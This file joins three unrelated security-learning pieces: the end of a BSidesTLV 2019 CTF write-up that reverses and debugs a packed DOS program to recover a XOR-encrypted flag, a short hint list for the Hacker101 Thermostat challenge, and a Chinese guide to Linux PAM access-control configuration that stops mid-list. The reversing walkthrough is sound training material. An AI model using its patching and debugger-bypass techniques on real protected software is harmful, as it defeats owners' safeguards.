75 66 66 65 72 00 63 75 72 70 00 69 73 74 65 6d 70 00 74 6f 6b 65 6e 00 66 00 61 78 00 62 78 00 63 78 00 __rover.__RealCvtVector.__ScanTodVector.__atexittbl.__cvtfak.__AHSHIFT.__AHINCR...\..\CODE\MAIN.C.MAIN.size.data.crc.j.i.bit_flag.bits_read.out.len.poi.iptr.rptr.spcing.tptr.key.iCS.offset.arr.level.flags.fd.hold.bsize.buffer.curp.istemp.token.f.ax.bx.cx. 00002dd2: 64 78 00 73 69 00 64 69 00 63 66 6c 61 67 00 57 4f 52 44 52 45 47 53 00 61 6c 00 61 68 00 62 6c 00 62 68 00 63 6c 00 63 68 00 64 6c 00 64 68 00 42 59 54 45 52 45 47 53 00 78 00 68 00 52 45 47 53 00 6f 75 74 72 65 67 73 00 69 6e 72 65 67 73 00 65 73 00 63 73 00 73 73 00 64 73 00 53 52 45 47 53 00 73 72 67 73 00 73 74 72 00 63 69 70 68 65 72 00 46 69 6c 65 43 52 43 00 43 53 63 72 63 00 64 61 74 61 73 65 67 00 63 00 72 65 73 00 46 49 4c 45 00 66 70 6f 73 5f 74 00 73 69 7a 65 5f 74 00 dx.si.di.cflag.WORDREGS.al.ah.bl.bh.cl.ch.dl.dh.BYTEREGS.x.h.REGS.outregs.inregs.es.cs.ss.ds.SREGS.srgs.str.cipher.FileCRC.CScrc.dataseg.c.res.FILE.fpos_t.size_t. ``` Looks good! Again, we try to run the program in DOSBox: ![](images/dos_main_fix.png) We are making progress. In order to run the program in DOS 3.30, we will need two things: * A DOS 3.30 boot floppy, which can be found [here](https://winworldpc.com/product/pc-dos/3x). * A floppy with our program We can create a floppy using: ```console owner@owner-VirtualBox:/media/sf_SharedFolder/bsides$ mkfs.vfat -C "floppy.img" 1440 mkfs.fat 3.0.28 (2015-05-16) owner@owner-VirtualBox:/media/sf_SharedFolder/bsides$ mkdir mount owner@owner-VirtualBox:/media/sf_SharedFolder/bsides$ sudo mount -o loop,uid=$UID -t vfat floppy.img mount [sudo] password for owner: owner@owner-VirtualBox:/media/sf_SharedFolder/bsides$ cp MAIN_fix.exe mount owner@owner-VirtualBox:/media/sf_SharedFolder/bsides$ sudo umount mount ``` Note: This didn't work on Kali, but worked on Ubuntu. Now we launch DOSBox, mount a folder where the two floppies are located and execute `boot PCDOS3~1.IMG FLOPPY.IMG` to boot to DOS 3.30 with our main program available. ![](images/boot330.png) We run the file and get: ![](images/run_main.png) Again, progress, but still not quite there yet. We have a divide error. Why? Let's open the disassembly and investigate. We open the executable in Ghidra and see the following: ![](images/upx.png) Take a look at the overview bar on the right: We have a tiny (purple) code section, which in fact is fully captured in the screenshot. The code is followed by a huge (pink) allocation of data, which starts at `1000:0034` with the string `UPX`: > UPX (Ultimate Packer for Executables) is an open source executable packer supporting a number of file formats from different operating systems (source: [Wikipedia](https://en.wikipedia.org/wiki/UPX)). In order to analyse the code, we'll have to unpack the executable: ```console root@kali:/media/sf_CTFs/bsidestlv/DoSaTTaCK# upx -d MAIN_fix.exe -o MAIN_unp.exe Ultimate Packer for eXecutables Copyright (C) 1996 - 2018 UPX 3.95 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018 File size Ratio Format Name -------------------- ------ ----------- ----------- 14688 <- 11892 80.96% dos/exe MAIN_unp.exe Unpacked 1 file. ``` Now, we can open the executable in Ghidra and start analysing. The magic happens at `FUN_1000_0551`. Let's break it down. First, we have logic which verifies that we are running on DOS 3.3, and exits otherwise: ```assembly BSidesTLV 2019 1000:059d b8 43 01 MOV AX,0x143 1000:05a0 50 PUSH AX 1000:05a1 e8 0a 15 CALL printf undefined printf(char * param_1) 1000:05a4 59 POP CX Welcome to the second part of the challenge. Great work so fa 1000:05a5 b8 54 01 MOV AX,0x154 1000:05a8 50 PUSH AX 1000:05a9 e8 02 15 CALL printf undefined printf(char * param_1) 1000:05ac 59 POP CX 1000:05ad e8 3d ff CALL Verify_Dos3.3 undefined Verify_Dos3.3(void) ``` Then, we have logic that checks something called a "memory signature" and a "file signature", prints them, and exits if the memory signature isn't correct: ```assembly 1000:05b3 16 PUSH SS 1000:05b4 8d 86 72 ff LEA AX,[BP + local_90] 1000:05b8 50 PUSH AX 1000:05b9 e8 20 fe CALL get_memory_signature uint get_memory_signature(undefi 1000:05bc 59 POP CX 1000:05bd 59 POP CX 1000:05be 8b f0 MOV SI,AX 1000:05c0 e8 9c fe CALL get_file_signature uint get_file_signature(void) 1000:05c3 8b f8 MOV DI,AX 1000:05c5 57 PUSH DI 1000:05c6 56 PUSH SI Memory Signature: 0x%04X, File Signature: 0x%04X 1000:05c7 b8 96 01 MOV AX,0x196 1000:05ca 50 PUSH AX 1000:05cb e8 e0 14 CALL printf undefined printf(char * param_1) 1000:05ce 83 c4 06 ADD SP,0x6 Expected memory signature: 1000:05d1 81 fe f3 7c CMP SI,0x7cf3 1000:05d5 74 0f JZ signature_good Signature mismatch, bye 1000:05d7 b8 c9 01 MOV AX,0x1c9 1000:05da 50 PUSH AX 1000:05db e8 d0 14 CALL printf undefined printf(char * param_1) 1000:05de 59 POP CX 1000:05df 33 c0 XOR AX,AX 1000:05e1 50 PUSH AX 1000:05e2 e8 28 01 CALL FUN_1000_070d undefined FUN_1000_070d(undefine 1000:05e5 59 POP CX Signatures OK. ``` If the signature is Ok, we move on to a loop that decrypts the flag. However, before arriving to it, there's an explicit division by zero at `1000:05ee`. That must be what's crashing our program, we'll handle it in a moment. ```assembly signature_good XREF[1]: 1000:05d5(j) 1000:05e6 b8 e3 01 MOV AX,0x1e3 1000:05e9 50 PUSH AX 1000:05ea e8 c1 14 CALL printf undefined printf(char * param_1) 1000:05ed 59 POP CX 1000:05ee b8 00 00 MOV AX,0x0 1000:05f1 f7 f0 DIV AX 1000:05f3 c6 46 fd 00 MOV byte ptr [BP + i],0x0 1000:05f7 eb 2e JMP flag_decryption_loop_condition flag_decryption_loop XREF[1]: 1000:062b(j) 1000:05f9 8a 46 fd MOV AL,byte ptr [BP + i] 1000:05fc 98 CBW 1000:05fd 8d 56 ce LEA DX,[BP + local_34] 1000:0600 03 c2 ADD AX,DX 1000:0602 8b d8 MOV BX,AX 1000:0604 8a 07 MOV AL,byte ptr [BX] 1000:0606 50 PUSH AX 1000:0607 8a 46 fd MOV AL,byte ptr [BP + i] 1000:060a 98 CBW 1000:060b c4 5e f8 LES BX,[BP + local_a] 1000:060e 03 d8 ADD BX,AX 1000:0610 58 POP AX 1000:0611 26 32 07 XOR AL,byte ptr ES:[BX] 1000:0614 50 PUSH AX 1000:0615 8a 46 fd MOV AL,byte ptr [BP + i] 1000:0618 98 CBW 1000:0619 8d 96 4c ff LEA DX,[BP + flag] 1000:061d 03 c2 ADD AX,DX 1000:061f 8b d8 MOV BX,AX 1000:0621 58 POP AX 1000:0622 88 07 MOV byte ptr [BX],AL 1000:0624 fe 46 fd INC byte ptr [BP + i] flag_decryption_loop_condition XREF[1]: 1000:05f7(j) 1000:0627 80 7e fd 24 CMP byte ptr [BP + i],'$' 1000:062b 7c cc JL flag_decryption_loop ``` Finally, the flag is printed: ```assembly 1000:062d c6 86 70 MOV byte ptr [BP + local_92],0x0 ff 00 1000:0632 8d 86 4c ff LEA AX,[BP + flag] 1000:0636 50 PUSH AX Congratulations! The flag is: %s 1000:0637 b8 f5 01 MOV AX,0x1f5 1000:063a 50 PUSH AX 1000:063b e8 70 14 CALL printf undefined printf(char * param_1) ``` Back to the division by zero. We can easily override the faulty instructions with NOPs and we should be good to go, right? ![](images/nop.png) We copy the patched executable to the floppy, run again and get: ![](images/dos_partial.png) This looks like a partial flag, but there seems to be some corruption. Maybe it's related to the fact that we've unpacked and patched the executable? Fortunately, we can bypass the faulty division using the [DOSBox debugger](https://www.vogons.org/viewtopic.php?t=3944), which is able to debug DOS programs in the CPU level. In order to easily locate the program's code segment, we can use the following shortcut: 1. Set a breakpoint on INT 21: `BPINT 21 *` 2. Run the program in the DOS console: `main_fix.exe` 3. We will hit the breakpoint several times. Continue execution until the program starts printing to the screen. 4. The current code segment is probably what we're looking for. ![](images/bpint_21.png) We can see that CS = 0xD3E. If we move our code view to `0D3E:05EE` using the `c cs:05EE` command, we'll see our famous division: ``` ---(Code Overview Scroll: up/down )--- 0D3E:05EE B80000 mov ax,0000 0D3E:05F1 F7F0 div ax 0D3E:05F3 C646FD00 mov byte [bp-03],00 ss:[FEF9]=0212 0D3E:05F7 EB2E jmp short 00000627 ($+2e) (down) 0D3E:05F9 8A46FD mov al,[bp-03] ss:[FEF9]=0212 ``` Let's delete our global INT 21 breakpoint: ``` > BPLIST Breakpoint list: ------------------------------------------------------------------------- 00. BPINT 21 > BPDEL 0 ``` And set a breakpoint on `div ax` by using `bp cs:05EE`. We continue execution and shortly after, hit our breakpoint. Note: The program had logic to disable INT 3 (software breakpoints). However, the DOSBox debugger does not use INT 3 to realize breakpoints, but rather uses something similar to HW breakpoints. In the register overview, we'll see `EAX=00000000`, we can modify the value to 1 using `sr eax 1`. However, after continuing to execute, even though we've diverted the division by zero, we still get a corrupted flag! Time to dive in deeper. Where should the flag be coming from? Let's take another look at the logic that decrypts the flag: ```assembly flag_decryption_loop XREF[1]: 1000:062b(j) 1000:05f9 8a 46 fd MOV AL,byte ptr [BP + i] 1000:05fc 98 CBW 1000:05fd 8d 56 ce LEA DX,[BP + local_34] 1000:0600 03 c2 ADD AX,DX 1000:0602 8b d8 MOV BX,AX 1000:0604 8a 07 MOV AL,byte ptr [BX] 1000:0606 50 PUSH AX 1000:0607 8a 46 fd MOV AL,byte ptr [BP + i] 1000:060a 98 CBW 1000:060b c4 5e f8 LES BX,[BP + local_a] 1000:060e 03 d8 ADD BX,AX 1000:0610 58 POP AX 1000:0611 26 32 07 XOR AL,byte ptr ES:[BX] 1000:0614 50 PUSH AX 1000:0615 8a 46 fd MOV AL,byte ptr [BP + i] 1000:0618 98 CBW 1000:0619 8d 96 4c ff LEA DX,[BP + flag] 1000:061d 03 c2 ADD AX,DX 1000:061f 8b d8 MOV BX,AX 1000:0621 58 POP AX 1000:0622 88 07 MOV byte ptr [BX],AL 1000:0624 fe 46 fd INC byte ptr [BP + i] ``` The interesting locations to inspect are `local_34` and `local_a`. `local_34` points in runtime to `ds:ffc4`: ![](images/local_34.png) If we look closely, we can see that the last four letters are `ack}`, which are also part of the partial flag we get, and make sense in the context. This probably means that our key ends with `00 00 00 00`. The string is XORed with `es:[local_a]`, which points in runtime to `es:64`: ![](images/local_a.png) This points to the middle of a system error string ("Abnormal program termination") and continues with an indistinguishable byte array, following by the 4 NULL bytes we were expecting. Let's align all three ingredients we have: The two strings which are being XORed, and the result: ``` 23 3E 49 10 00 01 39 25 38 1A 30 26 3C 4E 64 79 AA 7E 79 75 D4 69 1E 6C 2A DF 61 9E EC 88 74 84 61 63 6B 7D #>I...9%8.0&<Ndy.~yu.i.l*.a...t.ack} 61 6D 20 74 65 72 6D 69 6E 61 74 69 6F 6E 0D 0A E8 56 35 02 56 07 70 00 60 10 00 F0 60 10 00 F0 00 00 00 00 am termination...V5.V.p.`...`....... 42 53 69 64 65 73 54 4C 56 7B 44 4F 53 20 69 73 42 28 4C 77 82 6E 6E 6C 4A CF 61 6E 8C 98 74 74 61 63 6B 7D BSidesTLV{DOS isB(Lw.nnlJ.an..ttack} ``` Interestingly, we see that the beginning of the flag that makes sense ("`BSidesTLV{DOS is`") aligns perfectly with "`am termination\r\n`", and the corruption starts immediately after that. Moreover, the suffix ("`ttack}`") makes sense given the challenge name ("DoSaTTaCK"). So this must mean that for some reason, `0F52:0074`-`0F52:0081` are not getting the value they should. Where is their value decided? Here are the locations in the code: ```assembly s__1214_0074 XREF[0,2]: FUN_1000_01a9:1000:01af(W), FUN_1000_01ec:1000:01f0(R) 1214:002f 4e 75 6c ds "Null pointer assignment\r\nDivide error\r\nAbnormal program termination\r\n" 6c 20 70 6f 69 6e 1214:0075 00 ?? 00h DAT_1214_0076 XREF[1]: FUN_1000_01a9:1000:01b3(W) 1214:0076 00 00 undefined2 0000h DAT_1214_0078 XREF[1]: FUN_1000_01a9:1000:01bc(W) 1214:0078 00 00 undefined2 0000h DAT_1214_007a XREF[1]: FUN_1000_01a9:1000:01c0(W) 1214:007a 00 00 undefined2 0000h ``` They are referenced by the following function: ```assembly undefined FUN_1000_01a9() assume CS = 0x1000 assume DS = 0x1214 undefined AL:1 <RETURN> FUN_1000_01a9 XREF[1]: entry:1000:0025(c) 1000:01a9 1e PUSH DS 1000:01aa b8 00 35 MOV AX,0x3500 1000:01ad cd 21 INT 0x21 1000:01af 89 1e 74 00 MOV word ptr [s__1214_002f+69],BX = "" 1000:01b3 8c 06 76 00 MOV word ptr [DAT_1214_0076],ES 1000:01b7 b8 04 35 MOV AX,0x3504 1000:01ba cd 21 INT 0x21 1000:01bc 89 1e 78 00 MOV word ptr [DAT_1214_0078],BX 1000:01c0 8c 06 7a 00 MOV word ptr [DAT_1214_007a],ES 1000:01c4 b8 05 35 MOV AX,0x3505 1000:01c7 cd 21 INT 0x21 1000:01c9 89 1e 7c 00 MOV word ptr [DAT_1214_007c],BX 1000:01cd 8c 06 7e 00 MOV word ptr [DAT_1214_007e],ES 1000:01d1 b8 06 35 MOV AX,0x3506 1000:01d4 cd 21 INT 0x21 1000:01d6 89 1e 80 00 MOV word ptr [DAT_1214_0080],BX 1000:01da 8c 06 82 00 MOV word ptr [DAT_1214_0082],ES 1000:01de b8 00 25 MOV AX,0x2500 1000:01e1 8c ca MOV DX,CS 1000:01e3 8e da MOV DS,DX 1000:01e5 ba a0 01 MOV DX,0x1a0 1000:01e8 cd 21 INT 0x21 1000:01ea 1f POP DS 1000:01eb c3 RET ``` This function is calling `INT 21 35` (a.k.a. ["Get Interrupt Vector"](http://stanislavs.org/helppc/int_21-35.html)) for four interrupts: `INT 0`, `INT 4`, `INT 5` and `INT 6`. The return value (`ES:BX` = pointer to interrupt handler) is stored in the location used for our key. We must be getting different results compared to the challenge author. For general knowledge, the interrupts are: ``` IVT Offset | INT # | Description -----------+-----------+----------------------------------- 0x0000 | 0x00 | Divide by 0 0x0010 | 0x04 | Overflow (INTO) 0x0014 | 0x05 | Bounds range exceeded (BOUND) 0x0018 | 0x06 | Invalid opcode (UD2) ``` We tried booting DOS 3.3 on VirtualBox and got different results. However, also there, it looked like some interrupt addresses ended with `00 F0`. Is it possible that only the higher address is different? Let's take another look at the flag we already have: ``` BSidesTLV{DOS isB(Lw.nnlJÏan..ttack ``` Separate the corrupted part from the good part: ``` BSidesTLV{DOS is??????????????ttack B(Lw.nnlJÏan.. ``` Assume that anything that is XORed with `00 F0` is good: ``` BSidesTLV{DOS is??????????????ttack B(Lw.nnlJÏan.. ??????nl??an?? ``` Add obvious spaces and complete the last word to "attack": ``` BSidesTLV{DOS is??????????????ttack B(Lw.nnlJÏan.. ??????nl??an?? ?????nl? an a ``` Couldn't find a single English word that fits, but if we assume these are two words, "only" jumps to mind: ``` BSidesTLV{DOS is??????????????ttack B(Lw.nnlJÏan.. ??????nl??an?? ?????nl? an a ??? only an a ``` It's pretty easy to complete "DOS is ??? only an attack" - DOS (which is used these days "Denial of Service") is not only an attack, it's also an operating system. We were lucky that the authors didn't use l33t or capitals :-) ![](images/dos_1st.png) After a while, a clarification was posted by the authors: > Due to a bug in the DoSaTTaCK challenge, the flag was displayed correctly only on DOS 6.2 despite the fact that the challenge requested specifically to use DOS version 3.30. The bug has been fixed and now the flag will be displayed properly only on DOS 3.30. Those who were brave and thorough enough to try it on several environments and solved the challenge with the bug will get 300 bonus points Looks like there's more than one way to get a flag.
sec-knowleage
# H1 Thermostat ## [Flag0](./flag0) -- Found - Communication is key - Have you looked at what the app is sending to the server? ## [Flag1](./flag1) -- Found - Doesn't the MAC seem interesting? - Access to the source code would help - Check out the [Android Quickstart][1] video from Hacker101 [1]: https://www.hacker101.com/sessions/android_quickstart
sec-knowleage
# PAM --- ## 关于PAM PAM 基础知识见 [认证](../笔记/认证.md#pam) **安装 PAM** CentOS、Fedora、EulerOS 系统默认安装了 PAM 并默认启动。 ```bash apt-get install libpam-cracklib ``` **判断程序是否使用了 PAM** ``` ldd /usr/bin/passwd | grep libpam ``` **PAM 身份验证配置文件** `/etc/pam.d/` 目录包含应用程序的 PAM 配置文件。例如,login 程序将其程序/服务名称定义为 login,与之对应的 PAM 配置文件为 `/etc/pam.d/login`。 **PAM 配置文件语法格式** 每个PAM配置文件都包含一组指令,用于定义模块以及控制标志和参数。每条指令都有一个简单的语法,用于标识模块的目的(接口)和模块的配置设置,语法格式如下: ``` module_interface control_flag module_name module_arguments ``` **PAM 模块接口(模块管理组)** PAM为认证任务提供四种类型可用的模块接口,它们分别提供不同的认证服务: * auth - 认证模块接口,如验证用户身份、检查密码是否可以通过,并设置用户凭据 * account - 账户模块接口,检查指定账户是否满足当前验证条件,如用户是否有权访问所请求的服务,检查账户是否到期 * password - 密码模块接口,用于更改用户密码,以及强制使用强密码配置 * session - 会话模块接口,用于管理和配置用户会话。会话在用户成功认证之后启动生效 **PAM 控制标志** 所有的 PAM 模块被调用时都会返回成功或者失败的结果,每个 PAM 模块中由多个对应的控制标志决定结果是否通过或失败。每一个控制标志对应一个处理结果,PAM 库将这些通过/失败的结果整合为一个整体的通过/失败结果,然后将结果返回给应用程序。模块可以按特定的顺序堆叠。控制标志是实现用户在对某一个特定的应用程序或服务身份验证的具体实现细节。该控制标志是 PAM 配置文件中的第二个字段,PAM 控制标志如下: * required - 模块结果必须成功才能继续认证,如果在此处测试失败,则继续测试引用在该模块接口的下一个模块,直到所有的模块测试完成,才将结果通知给用户。 * requisite - 模块结果必须成功才能继续认证,如果在此处测试失败,则会立即将失败结果通知给用户。 * sufficient - 模块结果如果测试失败,将被忽略。如果 sufficient 模块测试成功,并且之前的 required 模块没有发生故障,PAM 会向应用程序返回通过的结果,不会再调用堆栈中其他模块。 * optional - 该模块返回的通过 / 失败结果被忽略。当没有其他模块被引用时,标记为 optional 模块并且成功验证时该模块才是必须的。该模块被调用来执行一些操作,并不影响模块堆栈的结果。 * include - 与其他控制标志不同,include 与模块结果的处理方式无关。该标志用于直接引用其他 PAM 模块的配置参数 --- ## PAM模式使用说明 ### pam_access.so pam_access.so 模块主要的功能和作用是根据主机名(包括普通主机名或者 FQDN)、IP 地址和用户实现全面的访问控制。pam_access.so 模块的具体工作行为根据配置文件 `/etc/security/access.conf` 来决定。该配置文件的主体包含了三个字段——权限、用户和访问发起方。格式上是一个用 "" 隔开的表。 * 第一个字段:权限(permission),使用 "+" 表示授予权限,用 "-" 表示禁止权限。 * 第二个字段:用户(user),定义了用户、组以及用 "@" 表示的在不同主机上的同名用户和同一主机上不同名用户。 * 第三个字段:访问发起方(origins),定义了发起访问的主机名称、域名称、终端名称。 而且 `/etc/security/access.conf` 文件提供了很多范例供修改时参考,并且都给出了具体的说明,例如: ```bash #禁止非root用户通过tty1访问相关服务 #-:ALL EXCEPT root:tty1 #禁止除了wheel、shutdown以及sync之外的所有用户访问相关服务 #-:ALL EXCEPT wheel shutdown sync:LOCAL #禁止wheel用户通过.win.tue.nl之外的其它它终端访问相关服务 #-:wheel:ALL EXCEPT LOCAL .win.tue.nl # 禁止下面的用户从任何主机登录。其它用户可以从任意地方访问相关服务 #-:wsbscaro wsbsecr wsbspac wsbsym wscosor wstaiwde:ALL # root用户允许通过cron来使用tty1到tty6终端访问相关服务 #+ : root : cron crond :0 tty1 tty2 tty3 tty4 tty5 tty6 # 用户root允许从下面的地址访问相关服务 #+ : root : 192.168.200.1 192.168.200.4 192.168.200.9 #+ : root : 127.0.0.1 # 用户root可以从192.168.201.网段访问相关服务 #+ : root : 192.168.201. # 用户root可以从.foo.bar.org中任何主机访问相关服务 #+ : root : .foo.bar.org # 用户root不允许从任何主机访问相关服务 #- : root : ALL # 用户@nis_group和foo可以从任何主机访问相关服务 #+ : @nis_group foo : ALL # 用户john只能从127.0.0.0/24来对本机相关服务进行访问 #+ : john : 127.0.0.0/24 # 用户john可以通过ipv4和ipv6的地址对本机相关服务进行访问 #+ : john : ::ffff:127.0.0.0/127 # 用户john可以通过ipv6的地址访问本机相关服务 #+ : john : 2001:4ca0:0:101::1 # 用户john可以通过ipv6的主机IP地址来访问本机 #+ : john : 2001:4ca0:0:101:0:0:0:1 # 用户john可以通过ipv6的IP地址和掩码来访问相关服务 #+ : john : 2001:4ca0:0:101::/64 # 开放所有用户对本机所有相关服务的访问 #- : ALL : ALL ``` **示例 : 如果要在网络内架设一个 FTP 服务器,而且在该 FTP 服务器上需要强制地指定某个用户只能通过某个 IP 地址登录** ```diff vim /etc/pam.d/vsftpd #%PAM-1.0 session optional pam_keyinit.so force revoke auth required pam_listfile.so item=user sense=deny file=/etc/vsftpd/ftpusers onerr=succeed auth required pam_shells.so auth include password-auth account include password-auth ++ account required pam_access.so // 添加这一行内容 session required pam_loginuid.so session include password-auth ``` 修改 `/etc/security/access.conf` 配置文件, 在文件底部添加下面的两行 ```diff vim /etc/security/access.conf ++ - : kevin : ALL EXCEPT 192.168.10.101 ++ - : grace : ALL EXCEPT 192.168.10.101 ``` kevin 和 grace 用户不能从 192.168.10.101 之外的任何客户端访问 FTP 服务器; 修改 `/etc/vsftpd/vsftpd.conf` 文件,禁用匿名登录 ```diff ++ Anonymous_enable = NO ``` 重启 vsftpd 服务 针对这种需求而且不想使用防火墙以及应用程序自带的认证机制的时候,通过 pam_access.so 可以实现所需的效果 ### pam_listfile.so pam_listfile.so 模块的功能和 pam_access.so 模块类似,目标也是实现基于用户/组,主机名/IP,终端的访问控制。不过它实现的方式和 pam_access.so 会稍微有些不同,因为它没有专门的默认配置文件。访问控制是靠 pam 配置文件中的控制选项和一个自定义的配置文件来实现的。而且除了针对上述访问源的控制之外,还能够控制到 ruser,rhost,所属用户组和登录 shell。所以有些用户认为它的功能似乎比 pam_access.so 更加灵活和强大一些。 使用 pam_listfile.so 模块配置的格式分为五个部分:分别是 item、onerr、sense、file 以及 apply。 其中: * item=[tty|user|rhost|ruser|group|shell]:定义了对哪些列出的目标或者条件采用规则,显然,这里可以指定多种不同的条件。 * onerr=succeed|fail:定义了当出现错误(比如无法打开配置文件)时的缺省返回值。 * sense=allow|deny:定义了当在配置文件中找到符合条件的项目时的控制方式。如果没有找到符合条件的项目,则一般验证都会通过。 * file=filename:用于指定配置文件的全路径名称。 * apply=user|@group:定义规则适用的用户类型(用户或者组)。 **示例 : 不允许 bobo 账号通过 ssh 方式登录** 针对这种需求只需要更改 `/etc/pam.d/sshd` 文件,并在该文件中添加一行(一定要添加到第一行) ```diff vim /etc/pam.d/sshd ++ auth required pam_listfile.so item=user sense=deny file=/etc/pam.d/denyusers onerr=succeed ``` 建立文件/etc/pam.d/denyusers,并在文件中写入用户信息 ``` echo "bobo" > /etc/pam.d/denyusers ``` 表示用户以 ssh 登录必须要通过 pam_listfile.so 模块进行认证,认证的对象类型是用户,采用的动作是禁止,禁止的目标是 `/etc/pam.d/denyuser` 文件中所定义的用户。 这样在该条目添加到该文件之后,使用 bobo 账号从其它主机远程 ssh 访问服务器会出现密码错误的提示,但是使用 root 或者其它用户则访问能够成功! 再次强调,要注意 pam 模块使用的顺序,刚才的规则一定要添加到 `/etc/pam.d/sshd` 文件的 auth 的第一行之前,否则不会生效 **示例 : 仅仅允许 kevin 用户可以通过 ssh 远程登录。** 在 `/etc/pam.d/sshd` 文件中添加一条(务必添加到文件的第一行!): ```diff vim /etc/pam.d/sshd ++ auth required pam_listfile.so item=user sense=allow file=/etc/sshdusers onerr=succeed ``` ``` echo "kevin" >/etc/sshdusers ``` 注:此处如果 root 也使用 ssh 远程连接,也会受到 pam_listfile.so 限制的。 ### pam_limits.so pam_limits.so 模块的主要功能是限制用户会话过程中对各种系统资源的使用情况。缺省情况下该模块的配置文件是 `/etc/security/limits.conf` 。而该配置文件的基本格式实际上是由 4 个字段组成的表,其中具体限制的内容包括: ``` Domain type item value 用户名 / 组名 软 / 硬限制 core——core 文件大小 (KB) 具体值    data——最大数据大小 (KB)    fsize——最大文件大小 (KB)    memlock——最大可用内存空间 (KB)    nofile——最大可以打开的文件数量    rss——最大可驻留空间 (KB)    stack——最大堆栈空间 (KB)    cpu——最大 CPU 使用时间(MIN)    nproc——最大运行进程数    as——地址空间限制    maxlogins——用户可以登录到系统最多次数    locks——最大锁定文件数目 ``` 需要注意的是,如果没有任何限制可以使用 "-" 号,并且针对用户限制的优先级一般要比针对组限制的优先级更高。 使用 pam_limits.so 模块的最常见的场景是在运行 Oracle 数据库的 RHEL 服务器中,因为一般 Oracle 数据库在安装之前,按照其官方文档的说明需要先对某些用户(Oracle)使用系统资源的情况进行限制。所以我们总是能够在 Oracle 数据库服务器的 `/etc/security/limits.conf` 文件中看到类似这样的配置: ``` vim /etc/security/limits.conf ....... oracle soft nproc 2047 oracle hard nproc 16384 oracle soft nofile 1024 oracle hard nofile 65536 ``` 结合上面的配置文件说明,可知 Oracle 数据库需要对 Oracle 用户使用资源的情况进行一些限制,包括: oracle 用户最大能开启的进程数不超过 16384,最大能打开的文件数不超过 65536。 顺便提一下,针对 nofile,这个只是基于用户层面的限制和调整方法。基于系统层面的限制和调整方法是修改 / etc/sysctl.conf 文件,直接改 fs.file-max 参数,调整之后 sysctl -p 生效。 **示例 : 限制用户 bobo 登录到 SSH 服务器时的最大连接数(防止同一个用户开启过多的登录进程)** /etc/pam.d/system-auth 中,默认就会通过 pam_limits.so 限制用户最多使用多少系统资源 ``` cat /etc/pam.d/system-auth|grep limits.so session required pam_limits.so ``` 因此只需要在 `/etc/security/limits.conf` 文件中增加一行对 bobo 用户产生的连接数进行限定: ```diff vim /etc/security/limits.conf ++ bobo hard maxlogins 2 ``` ### pam_rootok.so 一般情况下,pam_rootok.so 模块的主要作用是使 uid 为 0 的用户,即 root 用户能够直接通过认证而不用输入密码。pam_rootok.so 模块的一个典型应用是插入到一些应用程序的认证配置文件中,当 root 用户执行这些命令的时候可以不用输入口令而直接通过认证。比如说 "su" 命令,为什么当以 root 用户执行 "su" 切换到普通用户身份的时候是不需要输入任何口令而可以直接切换过去? 查看一下 `/etc/pam.d/su` 文件的内容 ``` cat /etc/pam.d/su auth sufficient pam_rootok.so ``` 而如果将该行配置注释掉的情况下,就会发现即便以 root 用户切换普通用户的时候仍然要求输入口令。 另外一种方法,只需要将上述的 "sufficient" 改成 "required" 即可。因为这样,pam_rootok.so 模块的验证通过就成为了必要条件之一。 pam_rootok.so 模块的另外一个应用是在 chfn 命令中。Chfn 命令用于改变 `/etc/passwd` 中的用户的说明字段。当以 root 身份执行 chfn 命令修改用户信息的时候是不用输入密码的。但是以普通用户身份执行 chfn 则需要输入密码之后才能改变自己的用户说明。这实际上也是因为在 `/etc/pam.d/chfn` 配置文件中的第一行调用了 pam_rootok.so 的结果。 不过这里即便将该配置中的第一行注释掉,root 用户通过 chfn 修改自己信息的时候仍然不需要使用密码。所以恐怕效果不是很明显。究其原因主要是很多 PAM 模块对 root 用户是不会产生限制的。 可以在 `/etc/pam.d/su` 文件里设置禁止用户使用 su 命令 ```bash vim /etc/pam.d/su auth sufficient pam_rootok.so #auth required pam_wheel.so use_uid ``` 以上两行是默认状态(即开启第一行,注释第二行),这种状态下是允许所有用户间使用 su 命令进行切换的!(或者两行都注释也是运行所有用户都能使用 su 命令,但 root 下使用 su 切换到其他普通用户需要输入密码;如果第一行不注释,则 root 使用 su 切换普通用户就不需要输入密码) 如果开启第二行,表示只有 root 用户和 wheel 组内的用户才可以使用 su 命令。 如果注释第一行,开启第二行,表示只有 wheel 组内的用户才能使用 su 命令,root 用户也被禁用 su 命令。 ### pam_userdb.so pam_userdb.so 模块的主要作用是通过一个轻量级的 Berkeley 数据库来保存用户和口令信息。这样用户认证将通过该数据库进行,而不是传统的 `/etc/passwd` 和 `/etc/shadow` 或者其它的一些基于 LDAP 或者 NIS 等类型的网络认证。所以存在于 Berkeley 数据库中的用户也称为虚拟用户。 pam_userdb.so 模块的一个典型用途就是结合 vsftpd 配置基于虚拟用户访问的 FTP 服务器。 相对于本地用户以及匿名用户来说,虚拟用户只是相对于 FTP 服务器而言才有用的用户,这些用户被严格地限定在 pam_userdb 数据库当中。所以虚拟用户只能访问 FTP 服务器所提供的资源,因而可以大大提高系统安全性。另外相对于匿名用户而言,虚拟用户必须通过用户名和密码才能够访问 FTP 的资源。这样也提高了对 FTP 用户下载的可管理性。 基于虚拟用户实现的 vsftpd 的原理基本上是这样一个过程:先定义一些专门针对 FTP 的虚拟用户,然后将用户信息加入到系统自带的数据库中(但不是 passwd)从而生成一个访问 FTP 的虚拟用户列表,这里使用的数据库是 db4 也就是 Berkeley DB。然后可以通过使用 pam_userdb.so 模块来调用该数据库存储用户信息以及实现 FTP 用户认证。当然同时也可以在系统中通过对配置文件的定义和划分来实现对不同虚拟用户不同类型的访问控制。 ### pam_cracklib.so pam_cracklib.so 是一个常用并且非常重要的 PAM 模块。该模块主要的作用是对用户密码的强健性进行检测。即检查和限制用户自定义密码的长度、复杂度和历史等。如不满足上述强度的密码将拒绝用户使用。pam_cracklib.so 比较重要和难于理解的是它的一些参数和计数方法,其常用参数包括: ``` debug: 将调试信息写入日志; type=xxx: 当添加 / 修改密码时,系统给出的缺省提示符是 "New UNIX password:" 以及 "Retype UNIX password:",而使用该参数可以自定义输入密码的提示符,比如指定 type=your own word; retry=N: 定义登录 / 修改密码失败时,可以重试的次数; Difok=N: 定义新密码中必须至少有几个字符要与旧密码不同。但是如果新密码中有 1/2 以上的字符与旧密码不同时,该新密码将被接受; minlen=N: 定义用户密码的最小长度; dcredit=N:定义用户密码中必须至少包含多少个数字; ucredit=N:定义用户密码中必须至少包含多少个大写字母; lcredit=N:定义用户密码中必须至少包含多少个小些字母; 